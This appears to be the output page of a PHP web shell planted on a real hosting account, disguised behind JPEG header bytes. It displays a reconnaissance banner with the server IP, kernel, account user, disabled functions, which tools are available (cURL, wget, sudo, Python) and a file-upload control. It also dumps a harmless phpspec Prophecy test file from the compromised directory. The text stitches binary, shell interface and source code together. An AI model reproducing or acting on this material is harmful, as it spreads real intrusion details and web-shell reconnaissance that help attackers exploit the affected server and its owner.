ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.7.226 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/phpspec/prophecy/spec/Prophecy/Comparator/ |
Upload File : |
<?php namespace spec\Prophecy\Comparator; use PhpSpec\ObjectBehavior; use Prophecy\Argument; use Prophecy\Prophet; class ProphecyComparatorSpec extends ObjectBehavior { function it_is_a_comparator() { $this->shouldHaveType('SebastianBergmann\Comparator\ObjectComparator'); } function it_accepts_only_prophecy_objects() { $this->accepts(123, 321)->shouldReturn(false); $this->accepts('string', 'string')->shouldReturn(false); $this->accepts(false, true)->shouldReturn(false); $this->accepts(true, false)->shouldReturn(false); $this->accepts((object)array(), (object)array())->shouldReturn(false); $this->accepts(function(){}, (object)array())->shouldReturn(false); $this->accepts(function(){}, function(){})->shouldReturn(false); $prophet = new Prophet(); $prophecy = $prophet->prophesize('Prophecy\Prophecy\ObjectProphecy'); $this->accepts($prophecy, $prophecy)->shouldReturn(true); } function it_asserts_that_an_object_is_equal_to_its_revealed_prophecy() { $prophet = new Prophet(); $prophecy = $prophet->prophesize('Prophecy\Prophecy\ObjectProphecy'); $this->shouldNotThrow()->duringAssertEquals($prophecy->reveal(), $prophecy); } }